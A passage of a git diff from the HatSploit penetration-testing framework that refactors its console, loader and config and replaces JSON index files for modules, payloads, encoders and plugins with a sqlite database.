diff --git a/hatsploit/config/core_config.yml b/hatsploit/config/core_config.yml
index 6e65dc2c6..6458add95 100755
--- a/hatsploit/config/core_config.yml
+++ b/hatsploit/config/core_config.yml
@@ -23,12 +23,12 @@
 #
 
 details:
-  codename: "n0w4r"
-  version: "7.0.0"
-  prompt: "hsf7"
+  codename: "unfulf1ll3d"
+  version: "3.0.0"
+  prompt: "%yellowhsf3%end"
 
 console:
-  clear: true
+  clear: false
   banner: true
   header: true
   tip: true
diff --git a/hatsploit/config/db_config.yml b/hatsploit/config/db_config.yml
index 372667a5e..76ee6070e 100755
--- a/hatsploit/config/db_config.yml
+++ b/hatsploit/config/db_config.yml
@@ -23,11 +23,5 @@
 #
 
 base_dbs:
-  module_database_name: "modules"
-  payload_database_name: "payloads"
-  encoder_database_name: "encoders"
-  plugin_database_name: "plugins"
-  module_database: "modules.json"
-  payload_database: "payloads.json"
-  encoder_database: "encoders.json"
-  plugin_database: "plugins.json"
+  database_name: "hsf"
+  database: "hsf.db"
diff --git a/hatsploit/core/base/console.py b/hatsploit/core/base/console.py
index 1bd195b7b..b99c1cce5 100755
--- a/hatsploit/core/base/console.py
+++ b/hatsploit/core/base/console.py
@@ -22,26 +22,22 @@
 SOFTWARE.
 """
 
-import readline
 import os
-import sys
 
-from badges import Badges
-from pex.string import String
-
-from hatsploit.core.base.execute import Execute
+from badges.cmd import Cmd
 
 from hatsploit.core.utils.ui.banner import Banner
-from hatsploit.core.utils.ui.completer import Completer
 from hatsploit.core.utils.ui.tip import Tip
 
+from hatsploit.lib.ui.modules import Modules
+
 from hatsploit.lib.config import Config
-from hatsploit.lib.modules import Modules
 from hatsploit.lib.runtime import Runtime
-from hatsploit.lib.storage import LocalStorage
+
+from hatsploit.lib.storage import STORAGE
 
 
-class Console(object):
+class Console(Cmd):
     """ Subclass of hatsploit.core.base module.
 
     This subclass of hatsploit.lib.base module represents console
@@ -49,90 +45,60 @@ class Console(object):
     """
 
     def __init__(self) -> None:
-        super().__init__()
+        """ Initialize console.
 
-        self.execute = Execute()
+        :return None: None
+        """
 
-        self.string = String()
-        self.badges = Badges()
+        self.config = Config()
+        self.scheme = self.config.core_config['details']['prompt']
 
-        self.completer = Completer()
-        self.banner = Banner()
-        self.tip = Tip()
+        super().__init__(
+            prompt=f"[{self.scheme}]> ",
+            history=self.config.path_config['history_path'],
+            path=[self.config.path_config['commands_path']],
+            console=self,
+        )
 
         self.runtime = Runtime()
-        self.config = Config()
         self.modules = Modules()
-        self.local_storage = LocalStorage()
-
-        self.history = self.config.path_config['history_path']
-        self.prompt = self.config.core_config['details']['prompt']
-
-        self.handler_options = {'Module': {}, 'Payload': {}}
 
-        self.completion = None
-
-    def shell_execute(self) -> None:
-        """ Start HatSploit shell interpreter.
+    def postcmd(self, _) -> None:
+        """ Update prompt.
 
         :return None: None
         """
 
-        if not self.modules.get_current_module():
-            prompt = f'[{self.prompt}]> '
-        else:
-            module = self.modules.get_current_module()
+        self.runtime.refresh()
+        module = self.modules.get_current_module()
 
-            category = module.details['Category']
-            name = module.details['Name']
+        if not module:
+            self.set_prompt(f'[{self.scheme}]> ')
+            return
 
-            prompt = f'[{self.prompt}: {category}: %red{name}%end]> '
-        commands = self.badges.input_empty(prompt)
+        self.set_prompt(f'[{self.scheme}: %red{module.info["Name"]}%end]> ')
 
-        self.runtime.update()
-        self.execute.execute_command(self.string.split_args(commands))
-        self.runtime.update()
+    def precmd(self, line: str) -> str:
+        """ Refresh console before executing command.
 
-        if self.local_storage.get("history"):
-            readline.write_history_file(self.history)
+        :param str line: command line
+        :return str: command line
+        """
 
-    def shell(self, history: bool = True, header: bool = True) -> None:
+        self.runtime.refresh()
+        return line
+
+    def shell(self, header: bool = True) -> None:
         """ Configure HatSploit shell interpreter and start it.
 
-        :param bool history: enable history
         :param bool header: print header
         :return None: None
         """
 
-        if history:
-            self.launch_history()
         if header:
             self.show_header()
 
-        while True:
-            self.runtime.catch(self.shell_execute)
-
-    def launch_history(self) -> None:
-        """ Setup history and tab-completion for
-        HatSploit shell interpreter.
-
-        :return None: None
-        """
-
-        readline.set_auto_history(False)
-
-        using_history = self.local_storage.get("history")
-        if using_history:
-            readline.set_auto_history(True)
-
-            if not os.path.exists(self.history):
-                open(self.history, 'w').close()
-            readline.read_history_file(self.history)
-
-        readline.set_completer(self.completer.completer)
-        readline.set_completer_delims(" \t\n;")
-
-        readline.parse_and_bind("tab: complete")
+        self.loop()
 
     def show_header(self) -> None:
         """ Print HatSploit shell interpreter header.
@@ -144,16 +110,16 @@ def show_header(self) -> None:
         codename = self.config.core_config['details']['codename']
 
         if self.config.core_config['console']['clear']:
-            self.badges.print_empty("%clear", end='')
+            self.print_empty("%clear", end='')
 
         if self.config.core_config['console']['banner']:
-            self.banner.print_random_banner()
+            Banner().print_random_banner()
 
         if self.config.core_config['console']['header']:
-            plugins = self.local_storage.get("plugins")
-            modules = self.local_storage.get("modules")
-            payloads = self.local_storage.get("payloads")
-            encoders = self.local_storage.get("encoders")
+            plugins = STORAGE.get("plugins")
+            modules = STORAGE.get("modules")
+            payloads = STORAGE.get("payloads")
+            encoders = STORAGE.get("encoders")
 
             plugins_total = 0
             modules_total = 0
@@ -186,10 +152,10 @@ def show_header(self) -> None:
             header += f"| {encoders_total} encoders | {plugins_total} plugins"
             header += "%end"
 
-            self.badges.print_empty(header)
+            self.print_empty(header)
 
         if self.config.core_config['console']['tip']:
-            self.tip.print_random_tip()
+            Tip().print_random_tip()
 
     def script(self, input_files: list, shell: bool = True) -> None:
         """ Execute HatSploit script(s).
@@ -204,18 +170,14 @@ def script(self, input_files: list, shell: bool = True) -> None:
         self.show_header()
 
         for input_file in input_files:
-            if os.path.exists(input_file):
-                file = open(input_file, 'r')
-                file_text = file.read().split('\n')
-                file.close()
-
-                for line in file_text:
-                    commands = self.string.split_args(line)
-
-                    self.runtime.update()
-                    self.runtime.catch(
-                        self.execute.execute_command(commands))
-                    self.runtime.update()
+            if not os.path.exists(input_file):
+                return
+
+            with open(input_file, 'r') as f:
+                for line in f.read().split('\n'):
+                    self.runtime.refresh()
+                    self.onecmd(line)
+                    self.runtime.refresh()
 
         if shell:
             self.shell(header=False)
diff --git a/hatsploit/core/base/execute.py b/hatsploit/core/base/execute.py
deleted file mode 100755
index 51638026d..000000000
--- a/hatsploit/core/base/execute.py
+++ /dev/null
@@ -1,324 +0,0 @@
-"""
-MIT License
-
-Copyright (c) 2020-2024 EntySec
-
-Permission is hereby granted, free of charge, to any person obtaining a copy
-of this software and associated documentation files (the "Software"), to deal
-in the Software without restriction, including without limitation the rights
-to use, copy, modify, merge, publish, distribute, sublicense, and/or sell
-copies of the Software, and to permit persons to whom the Software is
-furnished to do so, subject to the following conditions:
-
-The above copyright notice and this permission notice shall be included in all
-copies or substantial portions of the Software.
-
-THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR
-IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,
-FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE
-AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER
-LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,
-OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE
-SOFTWARE.
-"""
-
-import os
-import subprocess
-import sys
-
-from typing import Any, Tuple, Union
-from badges import Badges, Tables
-
-from hatsploit.lib.jobs import Jobs
-from hatsploit.lib.modules import Modules
-from hatsploit.lib.show import Show
-from hatsploit.lib.storage import LocalStorage
-
-
-class Execute(object):
-    """ Subclass of hatsploit.core.base module.
-
-    This subclass of hatsploit.core.base module is intended for
-    providing interfaces for executing commands in HatSploit interpreter.
-    """
-
-    def __init__(self) -> None:
-        super().__init__()
-
-        self.jobs = Jobs()
-        self.badges = Badges()
-        self.tables = Tables()
-        self.local_storage = LocalStorage()
-        self.modules = Modules()
-        self.show = Show()
-
-    def execute_command(self, command: list) -> None:
-        """ Execute command.
-
-        :param list command: command with arguments
-        :return None: None
-        """
-
-        if command:
-            if not self.execute_builtin_method(command):
-                if not self.execute_core_command(command):
-                    if not self.execute_module_command(command):
-                        if not self.execute_plugin_command(command):
-                            self.badges.print_error(
-                                f"Unrecognized command: {command[0]}!"
-                            )
-
-    def execute_builtin_method(self, command: list) -> bool:
-        """ Execute command as interpreter builtin method.
-
-        :param list command: command with arguments
-        :return bool: status, True if success else False
-        """
-
-        if command[0][0] == '#':
-            return True
-
-        if command[0][0] == '?':
-            self.show.show_all_commands()
-            return True
-
-        if command[0][0] == '&':
-            command[0] = command[0][1:]
-
-            self.jobs.create_job(
-                command[0], None, self.execute_command, [command], hidden=True
-            )
-
-            return True
-
-        if command[0][0] == '!':
-            if len(command[0]) > 1:
-                command[0] = command[0].replace('!', '', 1)
-                self.execute_system(command)
-
-            else:
-                self.badges.print_usage("!<command>")
-
-            return True
-        return False
-
-    def execute_system(self, command: list) -> None:
-        """ Execute command as system.
-
-        :param list command: command with arguments
-        :return None: None
-        """
-
-        self.badges.print_process(f"Executing system command: {command[0]}\n")
-        try:
-            subprocess.call(command)
-        except Exception:
-            self.badges.print_error(f"Unrecognized system command: {command[0]}!")
-
-    def check_command(self, command: list, handler: dict) -> Tuple[bool, Union[str, list, None]]:
-        """ Check if command or shortcut exists.
-
-        Note: handler is a dictionary containing command names as keys and
-        command objects as items.
-
-        :param list command: command with arguments
-        :param dict handler: handler to use
-        :return Tuple[bool, Union[str, list, None]]: None if not found or tuple of status and if command is single,
-            object, otherwise list of similar commands.
-        """
-
-        commands = {}
-
-        for name, object in handler.items():
-            for i in range(len(name) + 1):
-                prefix = name[:i]
-
-                if prefix not in commands:
-                    commands[prefix] = name
-
-                elif commands[prefix] != name:
-                    commands[prefix] = None
-
-        if command[0] in commands:
-            result = commands[command[0]]
-
-            if result:
-                return True, result
-
-            else:
-                conflict = [name for name, object in handler.items() if name.startswith(command[0])]
-
-                if command[0] in conflict:
-                    return True, command[0]
-                else:
-                    return False, conflict
-
-        return False, None
-
-    def execute_custom_command(self, command: list, handler: dict) -> bool:
-        """ Execute command via custom handler.
-
-        Note: handler is a dictionary containing command names as keys and
-        command objects as items.
-
-        :param list command: command with arguments
-        :param dict handler: handler to use
-        :return bool: status, True if success else False
-        """
-
-        if handler:
-            status, name = self.check_command(command, handler)
-
-            if status:
-                fixed_command = [name, *command[1:]]
-
-                if not self.check_arguments(fixed_command, handler[name].details):
-                    self.parse_usage(handler[name].details)
-                else:
-                    handler[name].run(len(fixed_command), fixed_command)
-
-                return True
-
-            if name is not None:
-                self.badges.print_warning(f"Did you mean? {', '.join(name)}")
-
-        return False
-
-    @staticmethod
-    def check_arguments(command: list, details: dict) -> bool:
-        """ Check if arguments correct for command.
-
-        :param list command: command with arguments
-        :param dict details: dictionary of command details
-        :return bool: status, True if correct else False
-        """
-
-        if (len(command) - 1) < details['MinArgs']:
-            return False
-
-        if 'Options' in details:
-            if len(command) > 1:
-                if command[1] in details['Options']:
-                    if (len(command) - 2) < len(
-                            details['Options'][command[1]][0].split()
-                    ):
-                        return False
-                else:
-                    return False
-
-        if len(command) > 1:
-            if command[1] == '?':
-                return False
-
-        return True
-
-    def parse_usage(self, details: dict) -> None:
-        """ Print usage for specific command details.
-
-        :param dict details: dictionary of command details
-        :return None: None
-        """
-
-        self.badges.print_usage(details['Usage'])
-
-        if 'Options' in details:
-            headers = ('Option', 'Arguments', 'Description')
-            data = []
-
-            for option in details['Options']:
-                info = details['Options'][option]
-                data.append((option, info[0], info[1]))
-
-            self.tables.print_table('Options', headers, *data)
-
-    def execute_core_command(self, command: list) -> bool:
-        """ Execute core command.
-
-        :param list command: command with arguments
-        :return bool: status, True if success else False
-        """
-
-        return self.execute_custom_command(
-            command, self.local_storage.get("commands"))
-
-    def execute_module_command(self, command: list) -> bool:
-        """ Execute current module command.
-
-        :param list command: command with arguments
-        :return bool: status, True if success else False
-        """
-
-        module = self.modules.get_current_module()
-
-        if module:
-            if hasattr(module, "commands"):
-                status, name = self.check_command(command, module.commands)
-
-                if status:
-                    fixed_command = [name, *command[1:]]
-                    self.parse_and_execute_command(
-                        fixed_command, module.commands[name], module)
-
-                    return True
-
-                if name is not None:
-                    self.badges.print_warning(f"Did you mean? {', '.join(name)}")
-
-        return False
-
-    def execute_plugin_command(self, command: list) -> bool:
-        """ Execute loaded plugin command.
-
-        :param list command: command with arguments
-        :return bool: status, True if success else False
-        """
-
-        return self.execute_custom_plugin_command(
-            command, self.local_storage.get("loaded_plugins"))
-
-    def execute_custom_plugin_command(self, command: list, plugins: dict) -> bool:
-        """ Execute custom plugin command.
-
-        :param list command: command with arguments
-        :param dict plugins: plugins where to search for command
-        :return bool: status, True if success else False
-        """
-
-        if plugins:
-            for plugin in plugins:
-                plugin = plugins[plugin]
-
-                for label in plugin.commands:
-                    status, name = self.check_command(command, plugin.commands[label])
-
-                    if status:
-                        fixed_command = [name, *command[1:]]
-                        details = plugin.commands[label][name]
-
-                        self.parse_and_execute_command(
-                            fixed_command, details, plugin)
-
-                        return True
-
-                    if name is not None:
-                        self.badges.print_warning(f"Did you mean? {', '.join(name)}")
-
-        return False
-
-    def parse_and_execute_command(self, command: list, details: dict, handle: Any) -> None:
-        """ Parse command details and execute handle.
-
-        :param list command: command with arguments
-        :param dict details: command details
-        :param Any handle: something that has command name as an
-        executable attribute, entry point
-        :return None: None
-        """
-
-        if hasattr(handle, command[0]):
-            if not self.check_arguments(command, details):
-                self.parse_usage(details)
-            else:
-                getattr(handle, command[0])(len(command), command)
-        else:
-            self.badges.print_error("Failed to execute command!")
diff --git a/hatsploit/core/base/loader.py b/hatsploit/core/base/loader.py
index 42ba10369..62dcdc92e 100755
--- a/hatsploit/core/base/loader.py
+++ b/hatsploit/core/base/loader.py
@@ -22,45 +22,30 @@
 SOFTWARE.
 """
 
+import time
 import string
 import threading
-import time
-
-from badges import Badges
 
 from hatsploit.core.db.builder import Builder
-from hatsploit.core.db.importer import Importer
 from hatsploit.core.utils.update import Update
 
-from hatsploit.lib.config import Config
 
-
-class Loader(object):
+class Loader(Builder):
     """ Subclass of hatsploit.core.base module.
 
     This subclass of hatsploit.core.base module is intended
     for providing HatSploit loader.
     """
 
-    def __init__(self) -> None:
-        super().__init__()
-
-        self.badges = Badges()
-        self.importer = Importer()
-        self.builder = Builder()
-        self.update = Update()
-
-        self.config = Config()
-
     def load_update_process(self) -> None:
         """ Check for update and notify user if one available.
 
         :return None: None
         """
 
-        if self.update.check_update():
-            self.badges.print_warning("Your HatSploit Framework is out-dated.")
-            self.badges.print_information("Consider running %greenhsf --update%end.")
+        if Update().check_update():
+            self.print_warning("Your HatSploit Framework is out-dated.")
+            self.print_information("Consider running %greenhsf --update%end.")
             time.sleep(1)
 
     def load_everything(self, build_base: bool = False) -> None:
@@ -71,10 +56,10 @@ def load_everything(self, build_base: bool = False) -> None:
         :return None: None
         """
 
-        if build_base:
-            self.builder.build_base()
+        self.load_update_process()
 
-        self.importer.import_all()
+        if build_base:
+            self.build_base()
 
     def load_all(self, build_base: bool = False, silent: bool = False) -> None:
         """ Load all: core, databases, interface, etc.
@@ -85,8 +70,6 @@ def load_all(self, build_base: bool = False, silent: bool = False) -> None:
         :return None: None
         """
 
-        self.load_update_process()
-
         if silent:
             self.load_everything(build_base)
             return
@@ -118,7 +101,7 @@ def load_all(self, build_base: bool = False, silent: bool = False) -> None:
                             + status[cycle % len(status) + 1:]
                     )
 
-                self.badges.print_process(status, '', '\r')
+                self.print_process(status, '', '\r')
                 time.sleep(0.1)
 
         loading_process.join()
diff --git a/hatsploit/core/db/builder.py b/hatsploit/core/db/builder.py
index 1cdf21e5a..ceae0c398 100755
--- a/hatsploit/core/db/builder.py
+++ b/hatsploit/core/db/builder.py
@@ -22,48 +22,32 @@
 SOFTWARE.
 """
 
-import json
 import os
+import sqlite3
 
 from badges import Badges
 
 from hatsploit.core.db.importer import Importer
 from hatsploit.lib.config import Config
-from hatsploit.lib.modules import Modules
-from hatsploit.lib.payloads import Payloads
-from hatsploit.lib.storage import LocalStorage
 
 
-class Builder(object):
+class Builder(Config, Badges):
     """ Subclass of hatsploit.core.db module.
 
     This subclass of hatsploit.core.db module is intended for
     providing tools for building HatSploit databases.
     """
 
-    def __init__(self) -> None:
-        super().__init__()
-
-        self.modules = Modules()
-        self.payloads = Payloads()
-        self.badges = Badges()
-        self.config = Config()
-        self.importer = Importer()
-        self.local_storage = LocalStorage()
-
     def check_base_built(self) -> bool:
         """ Check if base databases are built.
 
         :return bool: True if built else False
         """
 
-        base_dbs = self.config.db_config['base_dbs']
-        db_path = self.config.path_config['db_path']
+        base_dbs = self.db_config['base_dbs']
+        db_path = self.path_config['db_path']
 
-        if os.path.exists(db_path + base_dbs['module_database']) \
-                and os.path.exists(db_path + base_dbs['payload_database']) \
-                and os.path.exists(db_path + base_dbs['plugin_database']) \
-                and os.path.exists(db_path + base_dbs['encoder_database']):
+        if os.path.exists(db_path + base_dbs['database']):
             return True
 
         return False
@@ -86,27 +70,27 @@ def build_base(self) -> None:
         :return None: None
         """
 
-        base_dbs = self.config.db_config['base_dbs']
-        db_path = self.config.path_config['db_path']
+        base_dbs = self.db_config['base_dbs']
+        db_path = self.path_config['db_path']
 
         if not os.path.exists(db_path):
             os.mkdir(db_path)
 
         self.build_module_database(
-            self.config.path_config['modules_path'],
-            db_path + base_dbs['module_database'],
+            self.path_config['modules_path'],
+            db_path + base_dbs['database'],
         )
         self.build_payload_database(
-            self.config.path_config['payloads_path'],
-            db_path + base_dbs['payload_database'],
+            self.path_config['payloads_path'],
+            db_path + base_dbs['database'],
         )
         self.build_encoder_database(
-            self.config.path_config['encoders_path'],
-            db_path + base_dbs['encoder_database'],
+            self.path_config['encoders_path'],
+            db_path + base_dbs['database'],
         )
         self.build_plugin_database(
-            self.config.path_config['plugins_path'],
-            db_path + base_dbs['plugin_database'],
+            self.path_config['plugins_path'],
+            db_path + base_dbs['database'],
         )
 
     def build_encoder_database(self, input_path: str, output_path: str) -> None:
@@ -117,38 +101,45 @@ def build_encoder_database(self, input_path: str, output_path: str) -> None:
         :return None: None
         """
 
-        database_path = output_path
-        database = {"__database__": {"Type": "encoders"}}
+        con = sqlite3.connect(output_path)
+        cur = con.cursor()
+
+        cur.execute('''CREATE TABLE IF NOT EXISTS
+                encoders(
+                    BaseName TEXT PRIMARY KEY,
+                    Path TEXT,
+                    Name TEXT,
+                    Description TEXT,
+                    Arch TEXT
+                )''')
 
-        encoder_path = os.path.normpath(input_path)
+        data = []
 
-        for dir, _, files in os.walk(encoder_path):
+        for dir, _, files in os.walk(os.path.normpath(input_path)):
             for file in files:
-                if file.endswith('.py') and file != '__init__.py':
-                    encoder = dir + '/' + file[:-3]
-
-                    try:
-                        encoder_object = self.importer.import_encoder(encoder)
-                        encoder_name = encoder_object.details['Encoder']
-
-                        database.update({
-                            encoder_name: {
-                                "Path": encoder,
-                                "Name": encoder_object.details['Name'],
-                                "Encoder": encoder_object.details['Encoder'],
-                                "Authors": encoder_object.details['Authors'],
-                                "Description": encoder_object.details['Description'],
-                                "Arch": str(encoder_object.details['Arch']),
-                            }
-                        })
-
-                    except Exception:
-                        self.badges.print_error(
-                            f"Failed to add {encoder} to encoder database!"
-                        )
-
-        with open(database_path, 'w') as f:
-            json.dump(database, f)
+                if not file.endswith('.py') or file == '__init__.py':
+                    continue
+
+                encoder = os.path.join(dir, file[:-3])
+
+                try:
+                    encoder_object = Importer().import_encoder(encoder)
+                    data.append((
+                        encoder_object.info['Encoder'],
+                        encoder,
+                        encoder_object.info['Name'],
+                        encoder_object.info['Description'],
+                        str(encoder_object.info['Arch'])
+                    ))
+
+                except Exception:
+                    self.print_error(
+                        f"Failed to add {encoder} to encoder database!"
+                    )
+
+        cur.executemany('''INSERT OR REPLACE INTO encoders
+                        VALUES (?, ?, ?, ?, ?)''', data)
+        con.commit()
 
     def build_payload_database(self, input_path: str, output_path: str) -> None:
         """ Build payload database from payload path.
@@ -158,41 +149,51 @@ def build_payload_database(self, input_path: str, output_path: str) -> None:
         :return None: None
         """
 
-        database_path = output_path
-        database = {"__database__": {"Type": "payloads"}}
+        con = sqlite3.connect(output_path)
+        cur = con.cursor()
 
-        payload_path = os.path.normpath(input_path)
+        cur.execute('''CREATE TABLE IF NOT EXISTS
+                payloads(
+                    BaseName TEXT PRIMARY KEY,
+                    Path TEXT,
+                    Category TEXT,
+                    Name TEXT,
+                    Description TEXT,
+                    Arch TEXT,
+                    Platform TEXT,
+                    Type TEXT
+                )''')
 
-        for dir, _, files in os.walk(payload_path):
+        data = []
+
+        for dir, _, files in os.walk(os.path.normpath(input_path)):
             for file in files:
-                if file.endswith('.py') and file != '__init__.py':
-                    payload = dir + '/' + file[:-3]
-
-                    try:
-                        payload_object = self.importer.import_payload(payload)
-                        payload_name = payload_object.details['Payload']
-
-                        database.update({
-                            payload_name: {
-                                "Path": payload,
-                                "Name": payload_object.details['Name'],
-                                "Payload": payload_object.details['Payload'],
-                                "Authors": payload_object.details['Authors'],
-                                "Description": payload_object.details['Description'],
-                                "Arch": str(payload_object.details['Arch']),
-                                "Platform": str(payload_object.details['Platform']),
-                                "Rank": payload_object.details['Rank'],
-                                "Type": payload_object.details['Type'],
-                            }
-                        })
-
-                    except Exception:
-                        self.badges.print_error(
-                            f"Failed to add {payload} to payload database!"
-                        )
-
-        with open(database_path, 'w') as f:
-            json.dump(database, f)
+                if not file.endswith('.py') or file == '__init__.py':
+                    continue
+
+                payload = os.path.join(dir, file[:-3])
+
+                try:
+                    payload_object = Importer().import_payload(payload)
+                    data.append((
+                        payload_object.info['Payload'],
+                        payload,
+                        payload_object.info['Category'],
+                        payload_object.info['Name'],
+                        payload_object.info['Description'],
+                        str(payload_object.info['Arch']),
+                        str(payload_object.info['Platform']),
+                        payload_object.info['Type'],
+                    ))
+
+                except Exception:
+                    self.print_error(
+                        f"Failed to add {payload} to payload database!"
+                    )
+
+        cur.executemany('''INSERT OR REPLACE INTO payloads
+                        VALUES (?, ?, ?, ?, ?, ?, ?, ?)''', data)
+        con.commit()
 
     def build_module_database(self, input_path: str, output_path: str) -> None:
         """ Build module database from module path.
@@ -202,40 +203,51 @@ def build_module_database(self, input_path: str, output_path: str) -> None:
         :return None: None
         """
 
-        database_path = output_path
-        database = {"__database__": {"Type": "modules"}}
+        con = sqlite3.connect(output_path)
+        cur = con.cursor()
+
+        cur.execute('''CREATE TABLE IF NOT EXISTS
+                modules(
+                    BaseName TEXT PRIMARY KEY,
+                    Path TEXT,
+                    Category TEXT,
+                    Name TEXT,
+                    Description TEXT,
+                    Platform TEXT,
+                    DisclosureDate TEXT,
+                    Rank TEXT
+                )''')
 
-        module_path = os.path.normpath(input_path)
+        data = []
 
-        for dir, _, files in os.walk(module_path):
+        for dir, _, files in os.walk(os.path.normpath(input_path)):
             for file in files:
-                if file.endswith('.py') and file != '__init__.py':
-                    module = dir + '/' + file[:-3]
-
-                    try:
-                        module_object = self.importer.import_module(module)
-                        module_name = module_object.details['Module']
-
-                        database.update({
-                            module_name: {
-                                "Path": module,
-                                "Category": module_object.details['Category'],
-                                "Name": module_object.details['Name'],
-                                "Module": module_object.details['Module'],
-                                "Authors": module_object.details['Authors'],
-                                "Description": module_object.details['Description'],
-                                "Platform": str(module_object.details['Platform']),
-                                "Rank": module_object.details['Rank'],
-                            }
-                        })
-
-                    except Exception:
-                        self.badges.print_error(
-                            f"Failed to add {module} to module database!"
-                        )
-
-        with open(database_path, 'w') as f:
-            json.dump(database, f)
+                if not file.endswith('.py') or file == '__init__.py':
+                    continue
+
+                module = os.path.join(dir, file[:-3])
+
+                try:
+                    module_object = Importer().import_module(module)
+                    data.append((
+                        module_object.info['Module'],
+                        module,
+                        module_object.info['Category'],
+                        module_object.info['Name'],
+                        module_object.info['Description'],
+                        str(module_object.info['Platform']),
+                        module_object.info['DisclosureDate'],
+                        module_object.info['Rank'],
+                    ))
+
+                except Exception:
+                    self.print_error(
+                        f"Failed to add {module} to module database!"
+                    )
+
+        cur.executemany('''INSERT OR REPLACE INTO modules
+                        VALUES (?, ?, ?, ?, ?, ?, ?, ?)''', data)
+        con.commit()
 
     def build_plugin_database(self, input_path: str, output_path: str) -> None:
         """ Build plugin database from plugin path.
@@ -245,34 +257,40 @@ def build_plugin_database(self, input_path: str, output_path: str) -> None:
         :return None: None
         """
 
-        database_path = output_path
-        database = {"__database__": {"Type": "plugins"}}
+        con = sqlite3.connect(output_path)
+        cur = con.cursor()
+
+        cur.execute('''CREATE TABLE IF NOT EXISTS
+                plugins(
+                    BaseName TEXT PRIMARY KEY,
+                    Path TEXT,
+                    Name TEXT,
+                    Description TEXT
+                )''')
 
-        plugin_path = os.path.normpath(input_path)
+        data = []
 
-        for dir, _, files in os.walk(plugin_path):
+        for dir, _, files in os.walk(os.path.normpath(input_path)):
             for file in files:
-                if file.endswith('.py') and file != '__init__.py':
-                    plugin = dir + '/' + file[:-3]
-
-                    try:
-                        plugin_object = self.importer.import_plugin(plugin)
-                        plugin_name = plugin_object.details['Plugin']
-
-                        database.update({
-                            plugin_name: {
-                                "Path": plugin,
-                                "Name": plugin_object.details['Name'],
-                                "Plugin": plugin_object.details['Plugin'],
-                                "Authors": plugin_object.details['Authors'],
-                                "Description": plugin_object.details['Description'],
-                            }
-                        })
-
-                    except Exception:
-                        self.badges.print_error(
-                            f"Failed to add {plugin} to plugin database!"
-                        )
-
-        with open(database_path, 'w') as f:
-            json.dump(database, f)
+                if not file.endswith('.py') or file == '__init__.py':
+                    continue
+
+                plugin = os.path.join(dir, file[:-3])
+
+                try:
+                    plugin_object = Importer().import_plugin(plugin)
+                    data.append((
+                        plugin_object.info['Plugin'],
+                        plugin,
+                        plugin_object.info['Name'],
+                        plugin_object.info['Description'],
+                    ))
+
+                except Exception:
+                    self.print_error(
+                        f"Failed to add {plugin} to plugin database!"
+                    )
+
+        cur.executemany('''INSERT OR REPLACE INTO plugins
+                        VALUES (?, ?, ?, ?)''', data)
+        con.commit()
diff --git a/hatsploit/core/db/db.py b/hatsploit/core/db/db.py
index ecfd0c3d5..f94c957a5 100755
--- a/hatsploit/core/db/db.py
+++ b/hatsploit/core/db/db.py
@@ -22,10 +22,15 @@
 SOFTWARE.
 """
 
-import json
-import os
+import sqlite3
 
-from hatsploit.lib.storage import LocalStorage
+from typing import Optional
+
+from hatsploit.core.db.builder import Builder
+from hatsploit.core.db.importer import Importer
+
+from hatsploit.lib.config import Config
+from hatsploit.lib.storage import STORAGE
 
 
 class DB(object):
@@ -35,271 +40,115 @@ class DB(object):
     providing tools for working with HatSploit databases.
     """
 
-    def __init__(self) -> None:
-        super().__init__()
-
-        self.local_storage = LocalStorage()
+    def __init__(self, table: str,
+                 path: Optional[str] = None) -> None:
+        """ Initialize DB connector.
 
-    def get_encoder_databases(self) -> dict:
-        """ Get connected encoder databases.
-
-        :return dict: databases, database name as keys and
-        database data as items
-        """
-
-        return self.local_storage.get("connected_encoder_databases", {})
-
-    def get_payload_databases(self) -> dict:
-        """ Get connected payload databases.
-
-        :return dict: databases, database name as keys and
-        database data as items
-        """
-
-        return self.local_storage.get("connected_payload_databases", {})
-
-    def get_module_databases(self) -> dict:
-        """ Get connected module databases.
-
-        :return dict: databases, database name as keys and
-        database data as items
-        """
-
-        return self.local_storage.get("connected_module_databases", {})
-
-    def get_plugin_databases(self) -> dict:
-        """ Get connected plugin databases.
-
-        :return dict: databases, database name as keys and
-        database data as items
-        """
-
-        return self.local_storage.get("connected_plugin_databases", {})
-
-    def disconnect_payload_database(self, name: str) -> None:
-        """ Disconnect payload database.
-
-        :param str name: database name
+        :param str table: table name
+        :param Optional[str] path: path to database
         :return None: None
-        :raises RuntimeError: with trailing error message
         """
 
-        if self.local_storage.get("connected_payload_databases"):
-            if name in self.local_storage.get("connected_payload_databases"):
-                self.local_storage.delete_element("connected_payload_databases", name)
-                self.local_storage.delete_element("payloads", name)
-                return
-
-        raise RuntimeError("No such payload database connected!")
-
-    def disconnect_encoder_database(self, name: str) -> None:
-        """ Disconnect encoder database.
-
-        :param str name: database name
-        :return None: None
-        :raises RuntimeError: with trailing error message
-        """
+        self.config = Config()
 
-        if self.local_storage.get("connected_encoder_databases"):
-            if name in self.local_storage.get("connected_encoder_databases"):
-                self.local_storage.delete_element("connected_encoder_databases", name)
-                self.local_storage.delete_element("encoders", name)
-                return
+        self.path = path or (
+            self.config.path_config['db_path'] +
+            self.config.db_config['base_dbs']['database'])
+        self.table = table
 
-        raise RuntimeError("No such encoder database connected!")
+        self.conn = STORAGE.get('database_connector')
+        self.cursor = STORAGE.get('database_cursor')
 
-    def disconnect_module_database(self, name: str) -> None:
-        """ Disconnect module database.
+        if self.conn and self.cursor:
+            return
 
-        :param str name: database name
-        :return None: None
-        :raises RuntimeError: with trailing error message
-        """
+        self.conn = sqlite3.connect(self.path)
+        self.conn.row_factory = sqlite3.Row
 
-        if self.local_storage.get("connected_module_databases"):
-            if name in self.local_storage.get("connected_module_databases"):
-                self.local_storage.delete_element("connected_module_databases", name)
-                self.local_storage.delete_element("modules", name)
-                return
+        self.cursor = self.conn.cursor()
 
-        raise RuntimeError("No such module database connected!")
+        STORAGE.set("database_connector", self.conn)
+        STORAGE.set("database_cursor", self.cursor)
 
-    def disconnect_plugin_database(self, name: str) -> None:
-        """ Disconnect plugin database.
+    def dump(self, criteria: dict = {}) -> list:
+        """ Dump database table contents.
 
-        :param str name: database name
-        :return None: None
-        :raises RuntimeError: with trailing error message
+        :param dict criteria: criteria
+        (key - field name, value - expected value)
